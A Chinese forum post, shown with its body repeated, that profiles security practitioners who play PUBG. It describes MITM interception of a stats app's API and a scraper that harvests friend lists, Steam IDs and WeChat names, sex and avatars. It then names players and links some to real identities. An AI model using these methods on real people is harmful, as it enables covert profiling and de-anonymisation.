数据分析与可视化:谁是安全圈的吃鸡第一人

Web安全渗透fireant 发表了文章 • 0 个评论 • 17 次浏览 • 1 天前 • 来自相关话题

*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。


注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 


0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:


1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。


动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...
 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 # -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render() 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。


社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。



 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:


1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害


笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:


1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长


爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:


KD:8.4
伤害:1099.57


是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:


KD:3.7
伤害:461.18


排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:


Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436


通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。 查看全部
*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。



注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 



0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:



1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。



动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 
def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...

 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 
# -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render()
 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。



社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。




 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:



1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害



笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:



1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长



爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:



KD:8.4
伤害:1099.57



是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:



KD:3.7
伤害:461.18



排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:



Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436



通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
